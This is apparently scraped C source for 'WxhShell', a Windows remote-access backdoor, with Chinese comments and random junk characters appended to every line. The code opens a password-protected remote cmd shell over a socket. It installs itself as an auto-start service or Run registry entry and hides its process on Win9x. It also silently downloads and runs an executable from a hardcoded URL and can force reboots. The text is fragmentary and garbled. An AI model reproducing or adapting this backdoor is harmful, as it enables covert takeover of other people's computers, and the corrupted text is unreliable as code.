    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~v83pu1!2s  
    if(Boot(SHUTDOWN)) +O5hH8<&b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d1kJRJ   
    else { rH>)oThA#  
    closesocket(wsh); GF WA>5n'  
    ExitThread(0); <ih[TtZ  
    } vI]N^j2%  
    break; 1U\z5$V  
    } *' X3z@R  
  // 获取shell MW{8VH6+  
  case 's': { - YV>j  
    CmdShell(wsh); akT6^cP^  
    closesocket(wsh); c|1&lYal;  
    ExitThread(0); 5-G@L?~Vw  
    break;  }75e:w[  
  } TPY}C  
  // 退出 d[35d J7F  
  case 'x': { tl].r|yl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?s _5&j7  
    CloseIt(wsh); 6R5Qy]]E  
    break; m6djeOl  
    } j5ve2LiFV%  
  // 离开  *,m;  
  case 'q': { Q&V;(L62!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A9JdU&  
    closesocket(wsh); iIogx8[  
    WSACleanup(); 0L KRN|@  
    exit(1); .6V}3q$-@  
    break; "Pf~iwfw  
        } JZ#[ 2mLh  
  } L:8q8i  
  } `p7=t)5k  
)0R'(#  
  // 提示信息 rt| 7h>RQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <o= 8 FO  
} z~Q>V]a>;  
  } ; Hd7*`$  
f`/x"@~H5  
  return; +@:x!q|^  
} 3Hm/(C  
\j)E 5b+  
// shell模块句柄 <rmvcim{*  
int CmdShell(SOCKET sock) 0AV c  
{ 2[;_d;oB@  
STARTUPINFO si; ~WN:DXn  
ZeroMemory(&si,sizeof(si)); D)'bH5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IkXx# )  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wuqJr:q*#  
PROCESS_INFORMATION ProcessInfo; nJLFfXWx  
char cmdline[]="cmd"; kM@zyDn,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hiw|2Y&`  
  return 0; kE(mVyLQ  
}  0{ [,E.  
e NafpK  
// 自身启动模式 |B2+{@R  
int StartFromService(void) {GcO3G#FZ  
{ -FCe:iY! A  
typedef struct ',4iFuY  
{ ~F?u)~QZ #  
  DWORD ExitStatus; <1COZ)   
  DWORD PebBaseAddress; |id <=Xf  
  DWORD AffinityMask; ^w06<m  
  DWORD BasePriority; u=_mvN  
  ULONG UniqueProcessId; -\n@%$M]G  
  ULONG InheritedFromUniqueProcessId; .@Dxp]/B}  
}   PROCESS_BASIC_INFORMATION; U!Z,xx[]  
U~l$\ c  
PROCNTQSIP NtQueryInformationProcess; FtC^5{V+V  
?8Cq{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L`EBfz\n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }I6vqG  
MO <3"@/,  
  HANDLE             hProcess; `%Al>u5  
  PROCESS_BASIC_INFORMATION pbi; az|N-?u  
 y%b F&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [bNx^VP*  
  if(NULL == hInst ) return 0; M>8A\;"  
JO"<{ngsQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3fJc 9|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sw^u3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }t1a* z  
yw3$2EW  
  if (!NtQueryInformationProcess) return 0; X<; f  
x`IEU*z#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X=8{$:  
  if(!hProcess) return 0; |n%N'-el  
N%i<DsK.u6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %'< qhGJ  
Nd)o1 {I  
  CloseHandle(hProcess); 0Jif.<  
=jHy6)6w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >QPS0Vx[  
if(hProcess==NULL) return 0; 8=Ht+Br  
MM7gMAA.mz  
HMODULE hMod; Q&;qFv5-l  
char procName[255]; .U {JI\  
unsigned long cbNeeded; a}{! %5  
7 {<lH%Tn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D/>5\da+y  
+?'acn  
  CloseHandle(hProcess); 1(a\$Di  
ttRH[[E(  
if(strstr(procName,"services")) return 1; // 以服务启动 6U]7V  
EpMEA1=&  
  return 0; // 注册表启动 W5{e.eI}|  
} D.f=!rT7E7  
WP9=@X Z  
// 主模块 U@WT;:.T  
int StartWxhshell(LPSTR lpCmdLine) i^(<E0vS  
{ fz*6 B NJ  
  SOCKET wsl; kCV OeXv  
BOOL val=TRUE; DQd&:J@?  
  int port=0; 8*X8U:.0o  
  struct sockaddr_in door; K"61i:F  
q!4dK4`#5  
  if(wscfg.ws_autoins) Install(); Wu(GC]lTG  
6gXc-}dp  
port=atoi(lpCmdLine); F(9T;F  
:%gBcL9T  
if(port<=0) port=wscfg.ws_port; HO>uS>+  
DWG}}vN:&  
  WSADATA data; h pU7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0ro+FJ r  
z; +x`i.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -oj@ c OZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;_!;D#:  
  door.sin_family = AF_INET; ?a% u=G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?(z3/ "g]  
  door.sin_port = htons(port); _kS us  
}PVB+i M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ej~ /sO  
closesocket(wsl); F`l1I=;  
return 1; `Cc<K8s8  
} VQyDd~Za  
uB BE!w_  
  if(listen(wsl,2) == INVALID_SOCKET) { ZyG528O22  
closesocket(wsl); wC19  
return 1; 3c)LBM  
} qXW 5_iX  
  Wxhshell(wsl); W$W7U|Z9y+  
  WSACleanup(); fg2}~ 02n  
s$Mj4_p3l  
return 0; YAO0>T<F  
01J.XfCd6  
} H:`r!5&Qb5  
V>hy5hDpH  
// 以NT服务方式启动 F9hCT)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ 6M8a8C  
{ L(L;z'3y  
DWORD   status = 0; /CP1mn6H  
  DWORD   specificError = 0xfffffff; :\ S3[(FV  
\K=Jd#9c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &Z?uK,8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OtJS5A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iMS S8J  
  serviceStatus.dwWin32ExitCode     = 0; #8A|-u=3  
  serviceStatus.dwServiceSpecificExitCode = 0; 0R.@\?bhL  
  serviceStatus.dwCheckPoint       = 0; +ad 2  
  serviceStatus.dwWaitHint       = 0; 2 IGAZ%%  
MkQSq MU=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kxg09\5i  
  if (hServiceStatusHandle==0) return; WVVqH_  
+XsY*$O  
status = GetLastError(); B,676~I  
  if (status!=NO_ERROR) 'uh6?2)wG  
{ 2axH8ONMu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c7'Pzb)'  
    serviceStatus.dwCheckPoint       = 0; qhogcAvE  
    serviceStatus.dwWaitHint       = 0; E7N1B*KI  
    serviceStatus.dwWin32ExitCode     = status; fgNEq  
    serviceStatus.dwServiceSpecificExitCode = specificError; B|8(}Ciqx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pl%ag~i5  
    return; ^'}Td~(  
  } h' 16"j>  
>y1/*)O9~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wFh{\  
  serviceStatus.dwCheckPoint       = 0; RxqXGM`4  
  serviceStatus.dwWaitHint       = 0; IgVxWh#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^OUkFH;dG?  
} V r y#  
 `=oN&!  
// 处理NT服务事件,比如:启动、停止 R{.ku!w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aw(P@9]  
{ DY1o!thz)  
switch(fdwControl) bygwoZ<E  
{ "UE'd Wz  
case SERVICE_CONTROL_STOP: UXd\Q''  
  serviceStatus.dwWin32ExitCode = 0; pJ{sBp_$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .; :[sv)  
  serviceStatus.dwCheckPoint   = 0; )%*uMuF  
  serviceStatus.dwWaitHint     = 0; djk   
  { ^CX~>j\(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J=() A+  
  } uvT]MgT  
  return; X/?3ifP6I  
case SERVICE_CONTROL_PAUSE: b.$Gc!g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =!7yX ;|  
  break; {1FY HM^  
case SERVICE_CONTROL_CONTINUE: vHWw*gg(/E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x ha!.&DO  
  break; .*8.{n5   
case SERVICE_CONTROL_INTERROGATE: na<g /&  
  break; /q8n_NR  
}; \OOj]gAe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vQA: \!  
} tvP"t{C6,  
JTx&_Ok#  
// 标准应用程序主函数 REw!@Y."  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tvI~?\Ylj  
{ )5B90[M|t  
) ~X\W\  
// 获取操作系统版本 pmfyvkLS  
OsIsNt=GetOsVer(); i2EB.Zlv  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  Y]P]^3  
Dk:Zeo]+my  
  // 从命令行安装 F`'e/  
  if(strpbrk(lpCmdLine,"iI")) Install(); B6,"S5@  
)PZ'{S  
  // 下载执行文件 e KET8v[  
if(wscfg.ws_downexe) { 0?k/vV4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JrO2"S  
  WinExec(wscfg.ws_filenam,SW_HIDE); ky,+xq  
} &FGz53fd4  
X|X6^}  
if(!OsIsNt) { o: TO[  
// 如果时win9x,隐藏进程并且设置为注册表启动 V"gnG](2l  
HideProc(); &AC-?R|Dp  
StartWxhshell(lpCmdLine); ;[&g`%-H<  
} a Z ^SK|E  
else 7|\[ipVX:3  
  if(StartFromService()) `XQM)A  
  // 以服务方式启动 74QWGw`,  
  StartServiceCtrlDispatcher(DispatchTable); n ,`!yw  
else j&ddpS(s  
  // 普通方式启动 4u A ;--j  
  StartWxhshell(lpCmdLine); g {wDI7"<q  
JeuW/:Wv  
return 0; &`{%0r[UD#  
} 87y$=eZ  
Jo_h?{"L{  
?:~ `?  
wC;N*0Th  
=========================================== ]e 81O#t3  
R:zjEhH )  
8 z\WyDz  
cvi+AZ=  
C^]bXIb  
Bx;bc  
" dX` _Y  
|>Kf_b Y#  
#include <stdio.h> x-Yt@}6mvl  
#include <string.h> @:X~^K.  
#include <windows.h> %=%jy  
#include <winsock2.h> KR#Bj?fz-H  
#include <winsvc.h> [p|-G*=00  
#include <urlmon.h> buq3t+0  
%/jm Q6z^  
#pragma comment (lib, "Ws2_32.lib") Fod2KS;g  
#pragma comment (lib, "urlmon.lib") Jy{A1i@4~s  
>(p "!  
#define MAX_USER   100 // 最大客户端连接数 ~%m-}Sxc  
#define BUF_SOCK   200 // sock buffer 4, 8gf2  
#define KEY_BUFF   255 // 输入 buffer mbU[fHyV  
&$|k<{j[<f  
#define REBOOT     0   // 重启 Cj,fP[p#7  
#define SHUTDOWN   1   // 关机 ZI-)'  
Ju Kj  
#define DEF_PORT   5000 // 监听端口 9-I;'  
=k'3rm*ld  
#define REG_LEN     16   // 注册表键长度 aV,>y"S  
#define SVC_LEN     80   // NT服务名长度 c"v#d9  
Kmk<  
// 从dll定义API XQ.JzzY$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j 8YMod=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K>"M# T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \,oT(p4N%M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x4Y+?2  
C 3b  
// wxhshell配置信息 N_UZu  
struct WSCFG { #Q"el3P+q  
  int ws_port;         // 监听端口 bw ' yX  
  char ws_passstr[REG_LEN]; // 口令 xLPyV&j-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4L(axjMYU  
  char ws_regname[REG_LEN]; // 注册表键名 Cir==7A0  
  char ws_svcname[REG_LEN]; // 服务名 _\1wLcFj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L00,{g6wqb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $*{PUj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8!'#B^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1B}6 zJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |r$Vb$z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5JBenTt  
)W(?wv!,  
}; 1)X%n)2pr  
 3_+-t5  
// default Wxhshell configuration K3M<%  
struct WSCFG wscfg={DEF_PORT, 0,{Dw9W:  
    "xuhuanlingzhe", j"7 z  
    1, L Lm{:T7  
    "Wxhshell", w%g@X6  
    "Wxhshell", Q_x/e|sd  
            "WxhShell Service", ke!)C[^7z  
    "Wrsky Windows CmdShell Service", h 1:uTrtA  
    "Please Input Your Password: ", ,yNPD}@v>  
  1, .yd{7Te  
  "http://www.wrsky.com/wxhshell.exe", 80x %wCY`  
  "Wxhshell.exe" 3 8m5&5)1F  
    }; Y, )'0O  
}[SWt3qV1  
// 消息定义模块 %F` c Nw]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k^:$ETW2 D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j]6 Z*AxQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t:9}~%~  
char *msg_ws_ext="\n\rExit."; g~S>_~WL  
char *msg_ws_end="\n\rQuit."; eo24I0 `N  
char *msg_ws_boot="\n\rReboot..."; k*\WzBTd  
char *msg_ws_poff="\n\rShutdown..."; !=_:*U)-'  
char *msg_ws_down="\n\rSave to "; x}?y@.sn8  
cO.U*UTmX  
char *msg_ws_err="\n\rErr!"; ~ b!mKyrZ  
char *msg_ws_ok="\n\rOK!"; Ola>] 0l  
BOQ2;@:3  
char ExeFile[MAX_PATH]; tz4MT_f  
int nUser = 0; Vr D?[&2pE  
HANDLE handles[MAX_USER]; n{6XtIoYq  
int OsIsNt; 6@t4pML  
h7)^$Hd  
SERVICE_STATUS       serviceStatus; .DMeW i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R#"kh/M  
s7A{<>:  
// 函数声明 k"uqso/  
int Install(void); 3?|Fn8dQR.  
int Uninstall(void); T2P0(rEz  
int DownloadFile(char *sURL, SOCKET wsh); ?Lbw o<E  
int Boot(int flag); bN`oQ.Z 4  
void HideProc(void); hWf Jh0I  
int GetOsVer(void); rW0# 6  
int Wxhshell(SOCKET wsl); . p^='Kz?  
void TalkWithClient(void *cs); I3uaEv7OZc  
int CmdShell(SOCKET sock); gLa# y  
int StartFromService(void); d+[yW7%J  
int StartWxhshell(LPSTR lpCmdLine); Cg?D<l4  
#'^!@+)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tV<}!~0,*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KwndY,QD  
gYn1-/Z>I  
// 数据结构和表定义 Ol`/r@s  
SERVICE_TABLE_ENTRY DispatchTable[] = < N}UwB&  
{ "WdGY*r  
{wscfg.ws_svcname, NTServiceMain}, bae .?+0[  
{NULL, NULL} N)K};yMf  
}; E ~<SEA  
 oJ ~ZzW  
// 自我安装 Qr Dzf e[  
int Install(void) Kn SXygT  
{ /J]Yj,  
  char svExeFile[MAX_PATH]; T;XEU%:LK  
  HKEY key; @s}I_@  
  strcpy(svExeFile,ExeFile); OB)Vk  
S7N3L."  
// 如果是win9x系统,修改注册表设为自启动 Qw!cd-zc  
if(!OsIsNt) { ({zt=}r,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8xJdK'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MCD]n  
  RegCloseKey(key); =;-/( C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `r e]Q0IO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @vh3S+=M  
  RegCloseKey(key); \$}xt`6p  
  return 0; OD-CU8X9  
    } B q+RFo  
  } `<i|K*u  
} z'=*pIY5f  
else { ywXerz7dUk  
f50qA;7k  
// 如果是NT以上系统,安装为系统服务 O&.^67\|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oUIa/}}w5  
if (schSCManager!=0) <mjH#aSy  
{ gQ3Co./  
  SC_HANDLE schService = CreateService PwU}<Hrl]  
  ( zNofI$U  
  schSCManager, 3Bee6N>  
  wscfg.ws_svcname, &F1h3q)L  
  wscfg.ws_svcdisp, 8W)3rD>  
  SERVICE_ALL_ACCESS, }0 0mJ]H(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7Te`#"  
  SERVICE_AUTO_START, C(Ujx=G+3  
  SERVICE_ERROR_NORMAL, "(PJh\S>S  
  svExeFile, 3Q*K+(`{  
  NULL, [wG?&l$.KB  
  NULL, tQ_;UQlX  
  NULL, { :xINQ=}D  
  NULL, IzF7W?k  
  NULL !/znovoD  
  ); 6e&Y%O'8  
  if (schService!=0) ]`0(^)U &  
  { W Y_}D!O  
  CloseServiceHandle(schService); XeX0\L')R  
  CloseServiceHandle(schSCManager); I~H:-"2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pXL_`=3Q  
  strcat(svExeFile,wscfg.ws_svcname); ; 29q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !SEHDRp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $'btfo4H  
  RegCloseKey(key); LbOjKM^-  
  return 0; &>\E >mJ  
    } `Jhu&MWg  
  } S!A)kK+  
  CloseServiceHandle(schSCManager); uNZJNrV%  
} "(5A 5>  
} y?GRxoCD"e  
{LYA?w^GT  
return 1; pj;cL ]L  
} 7GY[l3arxv  
v^2K=f[nE  
// 自我卸载 A<2_V1  
int Uninstall(void) `An|a~G1  
{ !yU!ta Q  
  HKEY key; XKN`{h-@  
6pDb5@QjTy  
if(!OsIsNt) { ZGK*]o =)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L3lf28W  
  RegDeleteValue(key,wscfg.ws_regname); G 5w:  
  RegCloseKey(key); QE[ETv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 DqV1'  
  RegDeleteValue(key,wscfg.ws_regname); &MsnQP  
  RegCloseKey(key); V^B'T]s  
  return 0; U4qp?g+:  
  } Z2~;u[0a[  
} ,pE{N&p9  
} Zm& X $U  
else { <\eHK[_*  
^]o]'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jv<BGr=4;  
if (schSCManager!=0) EpSVHD:*  
{ e#JJd=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YbB8D-  
  if (schService!=0) J5h;~l!y  
  { -twV?~f  
  if(DeleteService(schService)!=0) { rU`#3}s  
  CloseServiceHandle(schService); SjV;& 1Z/  
  CloseServiceHandle(schSCManager); "& 'h\  
  return 0; 8X!^ 2B}J  
  } 'hfQ4EN  
  CloseServiceHandle(schService); Q4\EI=4P]  
  } -8;U1^#  
  CloseServiceHandle(schSCManager); "f/lm 2<  
} Ic/D!J{Y  
} d]6.$"\" p  
&l2oyQEF)  
return 1; }md[hiJ  
} .P+om<~B  
PCDsj_e  
// 从指定url下载文件 <3zA|  
int DownloadFile(char *sURL, SOCKET wsh) +F$c_ \>  
{ n,}\;Bp  
  HRESULT hr; Fl<|/DCg  
char seps[]= "/"; )w_0lm'v{r  
char *token; If>k~aL7I  
char *file; ,0O9!^  
char myURL[MAX_PATH]; 'AU(WHf  
char myFILE[MAX_PATH]; e2CjZ"C  
:td6Mywl  
strcpy(myURL,sURL); %Ez=  
  token=strtok(myURL,seps); Q$Qs$  
  while(token!=NULL) 'D(|NYY  
  { H+y(W5|2/X  
    file=token; 2Sbo7e  
  token=strtok(NULL,seps); B'"(qzE-kM  
  } T#%r\f,l0  
Y ]&D;w  
GetCurrentDirectory(MAX_PATH,myFILE); swV/M i>  
strcat(myFILE, "\\"); {^zieP!  
strcat(myFILE, file); Y5 e6|b|  
  send(wsh,myFILE,strlen(myFILE),0); p'z fo!  
send(wsh,"...",3,0); 0)n#$d>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .si!`?K%[  
  if(hr==S_OK) 0J7)UqMf.  
return 0; ,pL%,>R5  
else > 5-z"f  
return 1; G6wBZ?)k  
!j[Oy r|  
} h}r64<Y2{  
?4v&TB@  
// 系统电源模块 Jk=E"I6  
int Boot(int flag) :E'uV" j%  
{ N GP}Z4  
  HANDLE hToken; 9nF;$ HB  
  TOKEN_PRIVILEGES tkp; DU(QQ53  
fvnj:3RK  
  if(OsIsNt) { }tue`">h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 60p*$Vqy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h^o>9s/|/H  
    tkp.PrivilegeCount = 1; |^p7:)cy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L5$r<t<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :4RD .l  
if(flag==REBOOT) { NT+%u-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |35"V3bs  
  return 0; a oj6/  
} | LdDL953  
else { zMlW)NB'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2VO bj7F  
  return 0; xQ4 5B` $  
} 6$]@}O^V  
  } W2cgxT  
  else { ?/"Fwjau  
if(flag==REBOOT) { _Bh-*e2k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _"Yi>.{]  
  return 0; +Y;/10p  
} a{*r^m'N  
else { Dn/{  s$\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j)?[S  
  return 0; '4 T}$a"i  
} &Luq}^u  
} n<RvL^T=  
m/}(dT;  
return 1;  g=W1y  
} K[} 5bjh>  
k~ Z9og  
// win9x进程隐藏模块 -pEt=  
void HideProc(void) qQ\&]  
{ V`:iu n^f  
J*HZ=6L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Si=zxy T  
  if ( hKernel != NULL ) qy@v, a  
  { UC&f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4#D=+70'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eru2.(1  
    FreeLibrary(hKernel); EVs.'Xg<  
  } tx0`#x  
#r{`Iv ?nn  
return; 2e~ud9,  
} Gp*U2LB  
J* V@huF  
// 获取操作系统版本 2|a@,TW}-  
int GetOsVer(void) Y\#+-E  
{ )X-~+X91 S  
  OSVERSIONINFO winfo; PeCU V6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N=4`jy =  
  GetVersionEx(&winfo); 08*O|Ym,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g+CTF67  
  return 1; VI:EjZ/|a  
  else > wsS75n1  
  return 0; dt -EY  
} s^O>PEX&<I  
.4I "[$?Q  
// 客户端句柄模块 #fT1\1[]  
int Wxhshell(SOCKET wsl) ~r(/)w\  
{ (y^[k {#  
  SOCKET wsh; o]Ln:kl  
  struct sockaddr_in client; >b^|SL  
  DWORD myID; T2Duz,  
5Z (1&  
  while(nUser<MAX_USER) gie.K1@|  
{ VE_%/Fs,  
  int nSize=sizeof(client); "XvM1G&s`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K8>-%ns  
  if(wsh==INVALID_SOCKET) return 1; i;+]Y   
PWErlA:58  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _4!SO5T  
if(handles[nUser]==0) E]Wnl\Be  
  closesocket(wsh); J})#43P  
else # MpW\yX  
  nUser++; pS [nKcyj  
  } >LqW;/&S<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :i{$p00 G  
xw1@&QwM  
  return 0; cSMiNR  
} z x e6M~+  
q ERdQ~M,  
// 关闭 socket QY$Z,#V)  
void CloseIt(SOCKET wsh) l;u_4`1H  
{ MqA%hlq  
closesocket(wsh); |ji={  
nUser--; ^LaOl+;S  
ExitThread(0); `EFPY$9`D  
} ,ypD0Q   
4 VPJv>^  
// 客户端请求句柄 Y$tgz)  
void TalkWithClient(void *cs) +A 3Q$1F  
{ [xaglZ9HNo  
4KO2oIR  
  SOCKET wsh=(SOCKET)cs; kTCWyc  
  char pwd[SVC_LEN]; Kr;7~`$[  
  char cmd[KEY_BUFF]; :#yjg1aej  
char chr[1]; _1<zpHp  
int i,j;  G{4~{{tI  
F0&BEJBkU  
  while (nUser < MAX_USER) { RA5*QW  
;c>Co:W  
if(wscfg.ws_passstr) { PP+-D~r`}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u0 & aw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fe,A\W&8  
  //ZeroMemory(pwd,KEY_BUFF); J~\`8cds  
      i=0; fi/[(RBG  
  while(i<SVC_LEN) { Kzv*`  
sg=mkkD!g  
  // 设置超时 =%wwepz6  
  fd_set FdRead; }Y{aVn&C  
  struct timeval TimeOut; L%3m_'6QP  
  FD_ZERO(&FdRead); xt{f+c@P  
  FD_SET(wsh,&FdRead); k3:8T#N>!O  
  TimeOut.tv_sec=8; T3-8AUCK8?  
  TimeOut.tv_usec=0; ?AL;m.X-@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Stq [[S5P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a.oZ}R7'Y  
;p$KM-?2D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $}9.4` F>  
  pwd=chr[0]; K5oVB,z)  
  if(chr[0]==0xd || chr[0]==0xa) { Jl,mYFEZ  
  pwd=0; vZ<@m2  
  break; Obd};&6Q  
  } b[mAkm?9+1  
  i++; SI/@Bbd=  
    } zmREzP#X  
uTSTBI4t  
  // 如果是非法用户,关闭 socket ao@"j}c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .H.#W1`  
} ~-1!?t/%  
d;Uzl 1;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z j[/~ I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kX\\t.nH  
jl!rCOLt4  
while(1) { ]+ \]2`?  
?2;gmZd7  
  ZeroMemory(cmd,KEY_BUFF); i]qVT)j  
upD 2vtU  
      // 自动支持客户端 telnet标准   ;k<n}shD  
  j=0; Hg~O0p}[  
  while(j<KEY_BUFF) { }w,^]fC:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .6@qU}  
  cmd[j]=chr[0]; qTGEi  
  if(chr[0]==0xa || chr[0]==0xd) { L}>XH*  
  cmd[j]=0; im}=  
  break; 6b-j  
  } 'h?;i2[  
  j++; p=tj>{  
    } W~TT`%[  
 P[l?  
  // 下载文件 6$d3Ap@Gl  
  if(strstr(cmd,"http://")) { ]A;{D~X^w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sz5&P )X  
  if(DownloadFile(cmd,wsh)) > @Ux8#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ZmccT"8  
  else c]qq *k#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G!y~Y]e  
